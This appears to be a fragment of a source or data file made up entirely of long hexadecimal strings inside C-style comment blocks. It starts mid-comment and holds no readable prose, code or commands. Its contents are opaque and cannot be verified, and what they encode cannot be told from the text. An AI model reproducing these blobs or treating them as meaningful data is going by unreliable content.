c95105f969e1a7f164d1017cb03c6cced4927e645a5696a521189988a1d187b758072db106177a078adcac0f2ce06f974ffa0f537e4863b34027e63924a65affb7681bcff0b14d29fc8950249d20d4a8aa9f247f10276ff1d4fd36fa47b4fb1e9d0e1eeb731323f6d92889aa2838978ce483465067be5a354c664082429a8bc7e9824375aa6db1902a678a48b1920b2030d54ebddab5ffc45da9e0f50f6600cf58430f57dc0ce8fdc941409adb423c2ac62d8055fc4894981d81e39fc0f8d4902943815d3e24635febb8a73ca9c5220c66d01e5bf6fc224f3986db71c06816c86b0eb78cf418f4ed856bb0e3f742fc77ad1e3d47f6d8887d7e30209d535d8a33acab599890be89d62831218349aaf721fe8b79cb0e3440f433b65c8dcfb99405aec00a2b0760bd31e3da71c1fc3e9f3225ee2ef307ae61debbdd1fe721872f79ebd61985fb169ae2351c0df96fde4d20daa43fb2ec2444618fb41c163edf3f98e7f4e18fc7c1daa1146dda11945ca433e711736903f541a1d8ff674afa614bc0c7ebd6506f2764c52bb6b0ce8b696f56719968b9b48091900e6e638d2d03256e154a9d08016ba554bcdf3cc83012c095aafcf3c6a48a8566647082055e99f569a66b24271918569b178892482108b2b04aeacfd0efc08e5e9aee75765c756de24a80b670addf345b5f229eb6b834b2482942db764d9b35a1b91be4358aca13418b268dfa5a2690ba4457464490bd23c1d9984a9735fb63d034838882c854d542f3ba8668fe7fb0b4e7493702e4f7cbadab07b2d4dcc6be159ffdab51f39269721e9bc92b681486bb58480c461ab799c12bb7e1ef651fb1b90b899f7b9750547c477d6649c1d28e7031aa7feaca13a5870b04119b9e33fd7bb9039542bdaec1e16a43ea80fd7790f522b621cdbc909818a9781a4e502e6bab53ec804755e642bf826319317e2d3c3584e9191a259d4c4fb38a77447998c54b0be3095b021bfc6ef18f3e27e3420a51875d878a92fde94fbee84dee8e4cf02267446605ba6bda6f16d798d943da5b4b7cb0b32eff5b084d09a394ab5134cc341e6f94b499435656ec469bea9c6966f02e94dc0e2a37935415091a5594b21351cb5b102996bf1370fef5fed95a652da002c66a74dda5ce91b6a9fc923726e90499ba5d9d44974372057ff0ad1de2be23e9c53c869b94b8d9e0b0b7a2666700729107ab20d1795a8348e50ee70c995a9699d4fc9e1903176194b23563af75619ea0d320c1023e5c147b43f86decef35ed318adc852f6db8083606f20a7eef3b1f7e16fbb2af6a2ef2215dc6da129a8444006b54ac87c61238954827b2943c6eb037c7361e44607ca6281164ebac421240ebafffd4a5c0b19981d4506ec3d2ac5ed09c789c050779489a34d320fe05fc58f7aaf4806e0e5f07b22e631a96eddb6e927682cbb9b12b19001bd50d5d58ac9cd22e0e9c38968e631e061985853a6dec8f5634630032819cc138768ad40681b00f8c4a2fa8c960f3e4318bff224e5eda71c6824a680842cac282e00355ca8c527ad8907a5a657917c935baf8de5a436a00f32e9acc8f186730f3000d9a2cc957fb0ff61b3427d96a736c6c7eb5c99c8c837e5cef35d0be6f36849816f55c9fe57a6f0f1f1aea437afcd971bc10330ffd223ba1e58ad01edfe21c7ae82d4a1c1a89c6d12eb01b2936208aed6b86487fbdfd18f319a7529baecb1b7c08c15e90de2f89028f7bd7238d641c3eb581a5ed14671faadab9e4e3c733f7705ca518c0a81e64c1e71d55*/
/*95b176c2a0acd239cc70e15641f3e7ba852a1e9587fee1582465d0a16c2bf6bb0c5722963913dd122733a83133322e33a53e613d0eb4647e1bc8096dea87339b197794671923dd733628e13fc345a3c8b3794bbc71f743050397f8e334770abd93dd0ddce72975b98650809f9802444aaa11cf2aa784aded00f6a7fca4143b519bd046570f40c35a07ff42b1909d27b85f237ca394fa7630dcbc25c18ffcf412bfd819becc4e532853acc2e3be1c57f673dc01fc719baae6f315c0fb52dd221056735d2dabd798dfc12e1d0595f1d2de2738c829670b8354c71c55d313ea29bbf80ae91bb91b38ffa07895d8fdc37a35921935407065e9b05cf143e2fb7a2c8d2af5d5bed0dbd7b8d773df27dc872a592cb91bb0d0d6cbb089a32fc35f761579beab31afcb9266dd557f84b23c4c6f39b7632f0b76372178a16e2bc2f657646781dd2bc23e64c0070dc161bcc38edaf8c33e6ca9a279aebda301ecf1c3034d82fa693a905c521863843919984ba61eb4aa645852444b056d1d2333495981fcd78add21d763a5d7724cbdf8bb7924ac42b991dfd0aebdcee48d0b48d6275de2617eed02541ad58a9b1f81ed6b41d3b228f97fcbfbf9fa9a8d5662c570307031e392d546be1a1914d91d31f02f7c55034fafcd38e1d3001287dbd07b115af88785e8367e24aee95fe84031329077cf3cfb9206d9f17b0e77c17bb62e6bd2552f0fa9453471c8c99c512476b67a4926e7be227bc55dc3e78076e58b30d66c9de0953c40ac1700da48f9f7074abe41fc16ea99f2848af82e43298e274bf4587b7a4397241e447f6dff7ab07307fc787f7d54102f0aa6ac580c7411cb5a412f6069c6dbb82a0f947574d10d34fac25b5760a9f48ddcac54374f3a88d07a4d51fb3ea6d35c0dee78a09c7411f1c6245e8f2e800c037cec86fb85763f58802e6e3ba2356cf2b2ef5bd270aa771b4073ff2a27db0de3944813895577942986e6065ed2c7f6c6f62e0276f2364dd362f5ee00f905622f5799e65761a1743e109bcf33754fadedf27c60fb22f4cb128f5020c3d141654f3fda2993fe53051a451350640417348fc78cb24f4794f87637c832bac831f8411b722752baff2cc6e604756021c20d240fa9db8d747ad50ecad6ed2ebc0a8673901f2fc5693d77458707cc9f907e21ebe931dab41664fbd164e9628c1ea49eac69f3a6dea5044f93975bf135e55d307a6c5d0d9b4f29791884d7bc6c903019d746a5fef1002a7254690a9ea16cd9146f89ebb6c86f014d699d290562827dce0bf5afb2c9b51c861fea7483fe3d3c0b0379f3ca4e40481c16bfbb1e785b8dcfc1c018db284d5109f0631aaf6aeedd6084b65d3b032c50120c1c201edc63c10b3bb333fdcf0a26053e0a7c41870f4ba83b6b76f834790aef88c8fd6f919f99cf00c4396ebf646fdeb3cbcffa0b45fe207363239bcc41328111319d931641327e5218d021ab7dc90b774a0dec4962e56b3d1b9e08250921106a104dcded72a6c5b03f84d243ec70336a39189a5f5ee9f3892a875bb3d8000e43e8ca3ce0210001dcc5b62adda900d56da210face90664e2b4c402271251590c4961012ec131fa6d2dd6a636de0bf04b1f7d48c05f8c7636655211d1cc1faa08ec0e1cbbcd559cf71decd1d85a72e3d6fe9ffc53956d24c7ec975258a2430f4a2a81ad1052d7db625cd64531d2f1050b1a6ed7fd130f37342a064bc2d15452fabd531fb18b9a75188cd0ee267634f647066e7989d577b4ca24e701f3fb8812d37b8998d34af5a072282620a7fc46715629c0e5826d4840d8be491a7ce7575da90adf21832299d1f292fcad6ad92813bc74c4cfc7c045a6d704464818da34a1453297d1b7f7136e4c805c81ef93a1d9635b7f68b3f25e3c22679e7a2f1b60738400abe3686bb8c5b81c7668c172351d6bfba1e41502f3fe7ca0e37a53996bbba2be74f110d0d82d2c423602b10e0693efb71c9decf413e9a4b6fa7e12b529a2a5a4aed68ce486a02a527005f10311548421df82146eea22c6e1b6acb55ae3876a0e5530faa5a6cc9571d3d3e7c2a783f8616810e5513a042943f12f2fb610db498682a4bc515b29171d2b9e26e49de8b635e1a1dab2506f1528b828a57b3e57d3bd6ea9088da8edc2b2cadb858f29c527e8b4f1acfad9269173bc485a374e0499efe831b57a63e68987b72077622d86a1ed08c75635ddace0b457b867beef5691cb51b1b792659356835908ac27e9c4fd4ca352972abe6d28db7609c36e2d9c2baf297bddcecc26a13da5d06b624d751a0c9e0f6723fa775c9b24dc34dbf3b59f68a8919e876a8a3176651bd72061b696d99f1128d46c17c2ac119e1cd2cc34c5bf9d99eae95f5b5a6d0046c42fe40e90f17f234683356b45a6b2d7dbfbd13a807ccec5ffd94cb05fdc9f9959c230f6658c01406cbe2ce5f3293ac141108256a668a5c7fe2a3276c7ab02842f991c39f13c83e91adc195b8bd70d89b8bc99759d671106158eed71b55a9b4e5ef8d9f19630a284b19b8f1d0245ad4bc4477785e653eeeaa45a91acef709913e34083bfab4ca1651d50a15f7e28bdcc4a9a8950599ff23081e8dd58754114dc5b63dc1ccde89580f280b752329e196a2568736259360f9ce3a0e928289544bd60c0c3f9c10660e7eab705326a1ef1f23e566ce9ac52f28a9d64eb3e40e4fb00e9e8b46840829942f2b59c0fca833ad6c3dedde4f88bfedfb173531c1aebb29eb0ea73236581eeb06559a2af15044d6272fcfe3d32ae536b45c8fe68f113721d94ed28b8d8748b57261f375683ae4be426be6ad229910b070e77545*/
/*f4ae7f54c93c7d9c288f790324e1cdb4b10ddee87b28edba6c263138ef0264000edcd91a01aa96acf11e119966047060c051e1cf6cc4f3d9b22d8958595c833b5d4c0e8955ea6963ec6d2a837d7c41417ce555e520de70f637e6a2f7f087c8c68116bf67c9d5c1a38a4645baf063d470dc0b015b571e81106a6dc9a3d3ec2a139eaf05897e4f021bf734e016ca4fcf93439348a6174d05547afb2593f3235b68d3474b994fe4dfd69a9a3cdeed6812f555889ab797aac415599e7fd924387f4df3f424edf37af6309ef4ab88e19b82252cc5fc0a90d170d6cf7f3f13326b2a1d83cb611839df74f7e0ad4ba58bc56e3bd336c4e3691e29403ef4466cc5fb9266c9d880ebda4d8a6d8b46e2592211d598ecb75f17e3cc3b7f89ecaa87ae87475691ba76e8605e27974b0cd6489c18d1917b2177c4bba9eb573464dd661c7374e3cda4848c8421438b9cf90797f8740dcf55dc2e7afcaf9531b850eac02905aadb52ac9d19d9957650c6d72503451cac294ba5224de359135357184221af6d421759c1f13305f248faa3bf800d4920dec3ff9c6c82c74932fe489294c8b25f1606b3f794774f7c2e49986aa4527b579abcdad3267fadd6ce9e2b22606185b47ea45ea1fe3e3225c99cfd6ca66fa5905ac1bbf2d2d295d52d4c4a90296afc24116593f61c49224a088c5a0a35721cbb0bd98112fce6c8f9f8b547b14e66992979737f47bdfe9b578091ddbcbd57992444cd8c54b0faf7eb21de623e64ccc366e4b298797a09e047ca90f456f8fea2228b9f55d46827cef6c854af61fdeeae42def02662d744ac218d60b192ad5d68492228afaec7208c77750067edb66493c81ccb691e201bd72a5c6e120968f4213a6548214ad07f334320f44f1e20cfd6c051fd069b7a77d697ab160bc4ad0defaea8ce1c1467f6a250a0c1e3eea6fb21df7c7446e427d631863e653b64396109ff849140565d731aff693d47c2dbf123192c60fc86c21db0172131ec41dbd380f67acc4cde3be8b68862a09f057d46f27726614eea2b54c962e1f3ba998b96fd364b4a55da09673dc0012d1922c76372d01e39e5eb20e46d9628d963aa8c28a13a57174be4d01d12ec48f0f80685bb3667edf60fff7f3a6f7947d6d353bb81f557c6d39802d653ed016fc43831ed7308b7bc6038c27a447fbef13ebbd5eb77c3d9d5a4d8e7dab7227f0c944a7f9f44445d0a5e8171a8ed0c06e98504f59560f1ab0935235cc92a5071ed7b8934827f2a70780e6d23ab07c7a6b5f43c4674e6e171a899d672b7700eb21b96e2f57c6a379eaa59056661f8f2892565f95fd46c33f2e23c27ad57a4147a7f2b4781054473c90638b1b683b81ba9dab222c190d021c8ac571c259281cd8471bf461054526bab27f2c0b18fb9e29c7a5ac71e5e18f79bcd6314319608ac6c927deac2cf6c90d750a2025fdd701ebea2d7872f76c681c8b8d8e56868364e25a7a1ef8c21acaccb32e61321482ca15c6323bdb2f283f3da9885e32a77da405c8125c719ec3a606ef30734d6919409de7c2eae2d4063a1edf573141fa4abfa85f32f81a1b76d0ff693a803683cc6b7d3b096d0d471985c8bd1e3242db2063c6c11a97199f5afa2fb3baccb26e3c838694d1eed0bf6b0c57da26336cf22c8bee70c3a702e5172ae4a381df49b8dddada2b50a0845a07cb2abf791882a6f7c0ab82249cd6068e9961ec014c9dfefccddf0b9086d28abd421c5a142f24d18cfe74d3dd1fdfb2e2f606819f55acc10936101ec8d1aa11a2f943cdb79c1e5f63ef2f2142314de2eb299af19ba427747a9564a6c423c16f3c9ae1987b9bd7e0b3e0a8ff08d835a566340e60d64056523b95b726ceb41c9aa72a37145d0c2a76e21b9f052d9f5a3ccf2e31689c8cfd9e1ca994197a3843ab5545f3b9d6c514525272dd70df43b467117ba9e1c1f1e74594203b6c4b56b7a7bbec6a320c4750d4a249c8e273f06d7e62651590056f8bb2bf17b5e0fd67d503f6768fb3a3b8a26e8bba13a9cd614ab6ca2ed898f5b93f68627bf7a4ef8b7e64e080674aa9a5523fc8ae2e66a15934b29e96be5d3713a282657ea22f8cc32047d447fb92cf6e83cad92c336e2c26674f0f13d236435f3dc0e75619bea9de91a187dd8408d7820326fe5fea8d6670451758d0f643881376ab7598baf8c0565ed2cabcbc8dd460359562540d631a94bae33cbae94c7628e04241aa57ae0c1e76f72adb62789289bbc5813e0422235c18c76ab744bab2906321ea22041f4a512b9b615f9af71c732ccb105cd6653eb9187e11d2a461af3157b894deb39a601313ace14d2f024938ac5bc9f8e136c0ef8dd792ec67229451a1eaaf72151ffd7c02d60adcb6ad6c73bb68459dde93f3a36a68a0c5bebfbb6e5b87927b7c2e7d702c06aa5261c40d30f057ea0ad297454d9dca87efa91949c0d4054528d958b8d35a338a4de028218f2578eef3e9822e8aa7cad66aa9b91753093c091282692037779a2309a9936c7897d57a2d16417a306fe764ad739ca90bde8095e0c396cbc268c637ef901a099fea2f91b38a71dc922d1633c380cc84cd582c4a5817039be466597f3f82334b724f3bf4bd494725f2fd9b620dacd14bf2169689c4c05596d6a38d567ab6ae3ea6f2bf921494e42fe691e39ef66e1d8d252a0c45612e7b8358c8ef978dedd58f4f046dae18700ed9f0266bdbdabc8e080f698517b62e8a39eec93afa55154103c323b968b0a632d829a8de76fdb7ed41f4e3284d32cbc2b71fb994e3eeb989d3bd860bc3b02b7ddf5c7472f3ce780a1fd53ee95a2a42c894b34740dc579dd14cc*/
/*980fca9fcf0fc319c35b164825752a8f9034a2054d953672a948f364b4fbc52132b7dfdec99538deac1df2f1599dbc58e71ef695860962e3279fc10006a5413b5e951ed16385c7bb360e69a560ad05159d33826f95339f11ccbf079bada64308c8cf55bc221bb29acdaa72d2917868ceb74514b2ba66efa1c20efb74f5243947ef525f0cf408d8d46a7b74a8dc38a19558ac63e164b690c161f144d9cbff4cf093f1df1042e0043828151c69636e5831d3a8deda6017b7a37fdf02751df6486f3661cc8ca96facf77d67d3c265edb94fee442b6e3a37115b41614c6dff550444085a797de04e2242c25ebd96f45b3d5a5f62288505ceef16ffca167ed902c2c797c63cd0622dd9650b223ca26e85b301e20582c16186477c7a30212b375290061099ed644364f03270862ff77e5881da13c5cb799d03fbdcc3427d023607a2ca3e1ae940d10feae238e73dab9cb76f064deca9d4476966899d8917ab1a404f540a08c38b6b339f7f6a9d1d1e0daec2d609be583d665eb93d04fef0a550ed1cb2a1f65301f6cbb54fb147c2e0cd7b325e71244c02c30d9dabdfbfcb615f4abe071ed1892ae7ed1190f5b7ea69ecbbe33ee2afbc430af6b7cda3eea882be04b78499da2115225b151125d2c958d0870ae22f124cf92b776246df2f7452afff97fe5751a6e3fd014a3ceb6dd25217921584ee1a53767426a87948465b8d31095a504aed25c2875f14bb337aa59ff5cf3e14a4a5d15fa98c33112bfc970e33d0adea7431a34d8fb13d7422c2f65058159c309f902046f0ae56e877a66e75fa2a1b0e210d8ad5edbf911b84e6d42dda8bd9d9c9c7697732236c51fc3b67421addf3d0dae6d136df0b55fee252347231e6b43785212d007877a524f8ce61c10ae585e3b2010032a24f87f91ba61038bd11b2f92de12b235b50e8183384cac8f04055e8fd306abe901bcc5703a9d2d68577f2348a63a52b65b72392ef36857f1ea9e996abedd18b45c0086cafa5da968e8ddbe478a5283a9acd5d43adf9a7abdc1572baa9d5b999620dbf107acc6e7654fa1dab4332310638cae53854f3f7aea33d5be6ec13934ed2d51e65ca500ba3fda42abcdd45bc75fa253b7e53d0aa1048221bae2aaeee70e9caa3b180d7a896316697f192d66edf7c4f8669d44fb3ae7bb69b6a888a0365d07ca185a8d795f796a134be573c07e107d3513218c42a0f83a6894ac7a304836923069b824bbf99c89f6d8fae7e057112f1d73734980e9216db86c7378b786b423eb670733f48b5bdb94453c90c41cdbff0a71da7e13d598234c1e6691793649bc8ee6718f556d5c2361112f7fdec338329c4f12d4b5223f10dc48e94f481eff1b5f3e2028b9ce1c8ef98aeb19e974ed85e9d46b03a09d813d94c1c25ebc2d9a39449b77ef8058de7cdc4c75fef2893810d9b2dedd09d48b485ccba50b8f1fc7f24206f64d820348d2af213b85c2a4b55407f9b525d8e34b3a2b8419e51ccf702bb107d820a41e9455058d7a0633c8cae04b4ca9464b0bfb10880d964ba135454b409269b8cdc3571c66e503e4ad668e5a046b29e49930b83bb2a6dd34c98ae630a416540b93fabcd6fe6404c40bd5cb2b8530f444bd1b8a16f8d6b9e0b928a16d77b9619955fb528fa074df101aada01cacc45ae1015154b088ef8a3761ef0a84eea3824a4d7c60701e3775b69c72ac235315cf8452ec97c0c1cf4d9deaab89e1934f733f6c93ae9d677caebf0b640605c9e62c307350d8686c49100840f2d99dcd436ce0f02394d3bf9fcf3e3c49d7b30863332ed67d3a8188a45bd3fee75a1a98dbf96866fa1458049c782a4e8882f08051a42a3fa601e539eec3480d382f527566de2bb5ee3ee0de653e38e961c3d32eac717fb662d563966ea18939d31ccb41e87f0010fe90ab7d2166c2e530186d43f3553b5c6d6aff1fbade38111ab4f4d810edc98a7ba4fabe2c84ffc2fdcc9b66a643e2ba3ed28c8dde1ad009e69e6e0af3566f06e3a9283dbc5144530b5c99de457e5ee9155007ecff176ea94b28b0203b1d1298fd067037c14c4a7f03fefd70bea404bc3fe20f3c40b419184663a4b33956d788f9984eb50b2d4b5c7a1e40478a5235ba1a578f1c8b4ed92ee0620694e4d19bcff4769c30e7b8c3af6f48bf1991371fa91644f181148c7abd958735678012041a68031c24821849df173f14cf14aed89383abcb1e81b0776beb36f80501e1c9ef233b8ce1929b311b48ceafdc884242a928218eda8fc4b41f9b8c84f6fd586f7edbd57cf21591e7b8b56425209f6c718a757232c1eb8c6e9ae2c7a8117e99f7f12ce9da4caae9c71fe77fb9d5aa818f36d286cc12a040b0fe87c3926bbe9c04ef29feaf9f4c2860ba06bd92fdb489c0fc0bae8ee78b890f864cb85acb05a181d13acf4e2f98ff3a8af6c16eca44431acc12c614703a8826bcf4af5aa9aa81d1e6e86ceb5e8e25eb446f89295159160315a2071a871735206af1c319ab320d3d4edcd7692662609807033f7500cfd4915edded7059bd1e72f164a9c1221b7996da02cefa8e0f25fccae848aa57b4f801f2426904b3e501e768d114015931f9f1959dcfe828bc8478882ec225530a7f6d59669b3493f8c0b7487cd101c564f36cde2ec22bed4b80f94541f8bc44af1a6cfec78560bc66510a3c0477a2d92f8ffca3e30f42eca0c1c4af2045944be55f31513e52c04d1d3815a1ef24a5378e74f60481aa058fabbb5f69041301ee42a1469220ad049bd88e4deb8bcd65b442799be723b4f689a4acc15951ed0a3af04e9365eb2783efdea22aecba6d90053e2872be06528c544c9*/
/*b3eb8816b34a7193eb9b5820b0c8b4bf0241aecec8d19e8717e3bc72d4011bc57bb6aa016b6631b85172edfb0e4c3f025eeb4ef6a188591e9792e62b0755771a72c8e72c60dfc37efdb59e287415a7e688e72cda96ac3aab9e5f4282b775d4dfc8586ee1fc160eaa11f6d7234f22ecef1acd00108ff203aaa115c9b738e9e95494784ee4fa00f1b4327a597eb87adeec8cb1de21fd8c6ca2d5ef6c5ceeccf48267e8b180d5dc381e0883486c0b58caa76c0ed9b25264f3c9907f35d9b499260211a34d41b60c4e2609887acaa3276c5a11eadd639d074636a3c237270af8a30fc6d35e98c1f198efc2f54671da603e34aa4c34394e1c73cf52e118fbbd614c3b86c39faeecc7182bb9023a3e85e7522017bd247db94823e49fe3d3b4ef608a3b32453f7416c41ee0387d10127ce2a5bb074816d6283f7558cc12651bb9a2994bccb1413ac0101b5880612a1cb03731e02ea2be67a67e26086873e0cdbe396e9ce5e4a93b155036f85bc17ad48c4a3f824bee2cbbec85de980ac463acb5618a435d3bacb7edd6155754dd1e9ca800604ac72272e3951b6e5d2b1eee86168e129fd647db64df155b46d9807112d31d6e8875ceb41c9564b0ab1247697ded13806bf816f5150d458d351285015636897c0cf9b87e4b3c09c4121fa87d5128cd47bc3f87776990a1333669d4454212e5f56d442c474c2128be31380bf31091ed041ae8b53f300950b4278c6a5ea6e9d6544edf14b239be7727555c3bfa04a2e218635b61cb8812f20cc0f717da216be21905d507d14a6a6a5f7b166267bacdaee42f64b50864d7d77dadc9ad90f0717ec9d518a0cda774c12d4bcc008be0834d6ed8b8562ad0540ef2531440ecc40cd4c60998957a0c53fb1240a61b46c27e231f748157b3c24f69dd5114e667f53983f871cbc228853f647b72cf9d1fbc51d98cea897f69d508f05b9c9203d0f8c1de9f083bcc83fa9fff34fba1cd72db59095587156af9020b42e5b8839dbe85843e45aeeba0bd16e91d5e996ef9d8cf1033dfb81ec994ef17bc4876d1d866e443c449a5ffb024737c6bf77e280cf64319e56ec6143714458cd1cab3f23d3dbe29fcada68f343083ed67e0504ec6af5ccae0b254dd145ab54fab8f0e67fdf54817676056b9a4becdeca580a31d1115d4b0049585595ff40ff5560cb156f24a27a8e5c1867f5d117b2f7f0371a869d2d89a5de1f40ad695d4208e6bb98cb3d07033e113d318ab87f0bc1d1ca71831537856772382e12db1a410588ae1e6a0b7f2e4c110a4a90701a9c031cad0406dede115e8e5f0af89ce398233f2da0953b790540c33da2f1611b723cfd165464a9ef6847098543ba033b5822a823dfbda9fe812694d602e60327a2fe0abaeb18feb4c55b262297743f0d83da6340d5f8a5cf276db1690e11e22edf06433d3ac6c0b264eb9050ed3aba5e5f2bf9da275057d0200f26bcaf7acb4f4b7a48f55193c08c4a59fad14961152cacc2cff238137a84024f4050ff3abe7d118c318f319f21abe2d1f9f724c8570930eb588ca7f0b39af775838a0543f4074199ecdd1d64828570d93cafcffdd27244ca6325be1c8b26b8c55dd553982155e8bd13fc7741303e6919500d807573f6a5dae4949350b80daafff251a2350de002c8fe0cbd73d58d2e88bffad10d525ae52fc8d2378a1ab48f577d6b27f58844c642347d50e896de2a6de1230b3c94715a0a41de4d367e6beb5270c6eb294f4fa4fa86b95f96733367ed488383ad430a1111520fef0e76d4dc980e16441dab57d5b343a7d3b2fcb2628f34135ab1effb132b734035e2273d1862b7b04976a6be42d1c2585b0faa3c9b40b1c10ecc9d3700c05fed7652804af6f9a1cdc28f70e59c95ff66263dcc2287dea940591af2a8eef3415d1a920429d59020e67a75f622e9bf0ae83ea617378b44df2e3ecdeb3ca69e6d81494a9b155c264bb4f37770e00db279171802619e71144639cd499ba7a3121ec99e1fbeed4ad049f29ac845ed1766679967b5669ef66566d17a2d3dc048948d91f0388a477a2b146510c965a7b7d5b62a8cbb071df04bd78e9fa042647e276e8b4a1121f345c48794d0c7a5b1073c77222fff4e6e39e3b326cad3441ef760f71f854e1158ac748fc8829340e3408a4b143dc333b0cd93619e224f42502872c222df36d843bb5c7c91b1fa41c9b4be310e67763307dea83112f2747d86a624c484ef4f9f17f4d62363a9ee0bbd8f9505cbbdd0c0084018380f082ff032d7171decbeb1d14afc775250eb0c2f4ef5fe6dfc0b3e85edf24d054c65f7eec5284368b7c173af71ac84ce079969434bada3620441f133cd63df04b62ae29955f0399d7940e41248169eee68aefdfe4c05e287b4ede52928dfaa8f66e69d378a3b620c07a3093264f26df4d4352dea19de9d79beb1186730723a25ecbd8479c3a9251ffeeb8df4bed8c1625fd81be2ef1d3f1f2f772561e3670492b0a9ce4d27719d396310fea1092b620b8dd782073af3c80e80fbeeccceeed526583fe7d27ca7362f4278e273a3b662a60eadc1484d534f3452964a833db6656228125ffb83dffcf5e5ad42508e1f38d25aa8eece032afd4919f792c730b09b98e848a08cde664b5a12b63c04f480664a45f4cbc0a18766d69381e41140e4daea06453995984829ea6a37d385430e61310ef45ff76b3964405268b5a4a00898896bb08b5ff181160a38247233bbd0d1dea22c8c88931a394921b713bd31050f6a2ed0c72d79444eea12b6069c8a1a7c94bb053e536e06d788e56411733a19374f34d075dba226bf7bda403abdcbfce2416c4*/
/*1ef8909a4ee979859b1482c5c1e88c264b1f29bbe4ef601f9bd86cb0aa8dbbc6fc12b692910b8f9e4afc18dd05b324022565f6dd3974afc05c6bb460416494e846f9378d5faf5f4d2f2a94041d39cfffc785ad8a26ef234a1b412bcbb606f6306bc9108ff59983cd6037551cfb51904dc025a89a8c142ebb4271fbe69121baf756a29753532572c62a86de3e4b75dbbc79bacfc693b544ee3f5d164623616628d60ef7813150b3c0936e9baa41fc33e7a0a00acb2eccb5f9f098a7f255a405beed326df7e2cf3304a40a9a2728befa56b4a13aad5ff1785a1428f3a3f381c9222da9921cfac4a243c6f4ceb1d121aecc025bba374ec162a9e15a41840730a7fec50baa5a33909324ce2cdd78363c11388c56f2dc81d724095a0bed5d7967e6e147e102ae166befbb4b33fdc83ac2173ffd0ffc054e38cf1fa95d12bec8b87eab3596cac7eb6f1b67b294a46913332fc2165186e1ad12b9c47a717386f92b2518a50ddca9cd30e5fc1d4921666519d772d7dec4c9404156661ae30ad815ced9363fe5a7a747553b37b2122b45530122dd15834a26815470c4a2186927eadc1fee35496ed75c266a5d477d52808a747bbfa17e16c10a8305af9295853a0b8acedb75a0a1512832ab1411dba972e4a1f4c4885ae763d4df463f676646a4111911d90b8bed1df7b16dcc1f8202e7a6d5476ac1510e62957a68e6d202aa49ab43e772a0d46b35eb8f046ba6a8b06b394e568550f135e61663cd3f705e4f61ac14120e73a8e57374c0723d9ac667a0d34ff103aa6c175a5bfa258683c55c2146a5915af08555692588da85a3aa6c9257622adaf4ef52d34f985011d386a75cde7e5ff812f6db5baa9fc0c06c244a8636acedbd00f73a6a23f7b03d1e344633e3b5652225097469b50b56a395a51027b33fee199b1325a82fa8f7bda500cb82ba6c3bf3da4505032d681b0f68d387381d3388d52e1a3c496bf13d75fdf147d248b37801346e5943a95536b2c2228d949f4b6cda0a6d792785c1c50489124605b4ef0e2763b33e1e307f95cfa5adcf558d7feb2625c2aec3da372d83abe4458b73ace98d4328ed1d9d23d0d9560f7ab3279d2347ce416cb643f26d929f344911fde59c981f4b1878bdbd83a36ed62ff6024bc4f77309603e190d91b3e9cfd99bbe02635131046e5269da6051ffcf688372a8b1a307736a810cdaefe109e4c186f529376e232934d6971583009ab572bf97f560d917a6bba1dd85b4d680e4a1f18f1b4769c81aaaf4c6bf6dcdfd2122a32dffb24f42ef6cc40847a4138f5cc8690834ecec965a20fb948f761edfd7fa1bc45b8c4894a38ab87e860652d18a1293ce5cc8f52d882315abd4d6dc6b82341f3775139e54427568e60061d1cae39cddc527388a06948c8c3206c6fe141aebf088bdf4f036cf694e5d1887a48152b025af290e725b05df45ece6b4d1c49a21ceaab5fa96fbc570fb74372cf84a4f8b690211801a134aaf0cd1a123d0b190a4909153e5a14adb467733f8704fce646efcb40157209db32500a2056fa5c5e4d9f38e98972611321eecc55f508b27206a8e516d370780fc6fb79982c617ba84d1a36dc67a351974b4d3df8b42cc2b4ecde54e334ed5dd45145b1a3b99a14d18fd246ab4edeb6ee38c149c88da378ea51eb3c7d0954cdcf9fd4bd8fe0103191c17d86147ea6a1a4311a34a18b7a3ae7e35481bbecdfbc3ffd138819eeb758c05eace478af07afdaf7707d03b309711aa02e75454f57594206644a471e5946838fe991c7aa0e99eaa32f38b75a8e6a8666ee4a7cc69c064c76f6ef860381e8ad523824a8115d6764d83ec30879ab40baf8bfd6238b86809ceef06f071944ddb1ea75e6ccbffe96073d314ff369ea2e1adceb5f4a86da2c672a77ea4a73c32a5b9f55f68d79c38eda54739512d469b759b7574277563d88fe261e778d85a9753c9e4406587ecc1b385c1b4b809eb933932c38871672596303d2ceed61bc79b06570ad4513d4e75aa89ecd529bff1dd07058683e5d6b08e993b449c74f2bef3f584d7acd67133a6f47f444287bf190348281a8f18c72a35e132ae2129386233d3c496b8f4e338e29aa7dd0e1564590919da8989894a059caed72d2d200aebe0a4411e38b28cf4979532a55db9ab47c7725b644bd9bef3ac9dbe9c21df1e3fb57fb97b624f52b96a9ece23e0694294662143d51c0a544c518ba8dedf99639bd54bc6ce0628048bfd54a545122487971c102097c2ed7622381812448675ca578b028f4f94cec9e88760e3671cecd63143992194a8ccde1756101b592a078b0b3b3e23c7bad8672003c0488bb15747e0ff7d697a9804b2da1803ae002e166556d2be5cf989ca5e2c8c1b84aa39d3efdd3ed50336a7d9c96a0940f0833b34b08296a805280938166d3eecd9d8cb69d54eeba2aef2aca36f3e2f6f7d03fcd5ef54d37f05ce58cf4c615b8a179e616f4758d501e72e909ec48c50f5a52bc01437127aeba197ff4c0be0b57e2361423fc13003095f34f79c70da274e4d5ae21a96d61c0fed93460cb2ddf111b4804d08ad631344e1c638834bc3bc7d6964f4c54a0c2b04728c56e5270a1840939ab7b1de4ecb65b13c1f1802969cf309a8b38e0e42631ea31a7b08a66d54eb664a3a1880ba1c6d5033c914745e016c58b22a4d7270c8cb439c4aff5a7d33980d8cf37bcec2b36624d7c0fe7d8170c5359ab8123d5f0aa6feb8abd0cd9a1e7fa0421c6fa52c92b82506fe50247c7c00909c65c6ddc007ace7caf985b48e20ee2a1f99e9796514c1b0fea3698ed590f62a1c6a76d319d6be483fdd5a53d8ca*/
